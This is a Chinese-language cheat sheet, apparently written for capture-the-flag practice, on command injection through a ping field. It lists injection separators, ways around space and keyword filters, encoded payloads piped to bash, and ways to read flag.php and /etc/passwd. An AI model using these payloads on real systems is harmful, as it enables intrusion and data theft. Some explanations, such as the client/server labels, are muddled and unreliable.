命令执行漏洞不仅存在于B/S(客户端,如网页端淘宝)架构中,也存在于C/S(服务器,如手机版淘宝)架构中
经典场景为某网站给出了ping查询功能,此时便可采用127.0.0.1;ls的方式进行系统命令的输入,通常接cat flag.php进行文件查询
基本使用场景及利用方式就这些,主要是一些绕过知识点的串联及运用,以下将详细说明
管道符: ; | || & && %0a %0d
空格: $IFS$9 ${IFS} > <> %09(php中常用)
关键字被过滤:
通配符绕过: fl?g f*g
内联执行: cat `ls` (内联,就是将反引号内的内容作为输出进行执行)
拼接: 127.0.0.1;a=fl;b=ag.php;cat $a$b
替换cat:cat:由第一行开始显示内容,并将所有内容输出
tac:从最后一行倒序显示内容,并将所有内容输出
more:根据窗口大小,一页一页的现实文件内容
less:和 more 类似,但其优点可以往前翻页,而且进行可以搜索字符
head:只显示头几行
tail:只显示最后几行
(需注意:cat不能使用通配符进行替换)
(cat绕过:/bin/cat 或 c'a't 单引号绕过)
编码绕过:echo Y2F0IGZhbGcucGhw|base64 -d|bash (相当于cat flag.php)(过滤了bash还可以用sh)
$(printf “\x63\x61\x74\x20\x66\x6c\x61\x67\x2e\x70\x68\x70”) (也相当于cat flag.php)
花式读文件(cat绕过):
/bin/cat 或 c'a't 单引号绕过
curl file://文件的绝对路径,如target=127.0.0.1;curl file :///var/www/html/flag.php
文件的绝对路径查询方式:pwd
长语句花哨读取:target=127.0.0.1;paste ./flag.php/etc/passwd 将flag和当前页面的php文件都打印出来(不实用);target=127.0.0.1;diff ./flag.php/etc/passwd(将结果进行对比,也不实用)
冷门:target=127.0.0.1;od -a flag.php 以16进制的方式读取并解码(若不将参加参数-a则不会自动解码,直接以16进制的方式进行显示)
注意:在命令执行前需注意所读取文件的权限问题r、w、x三个组别,分别代表读、写、执行三个权限,权值分别为4、2、1
ls -la查看文件权限
Chmod 777 文件名 :提高文件权限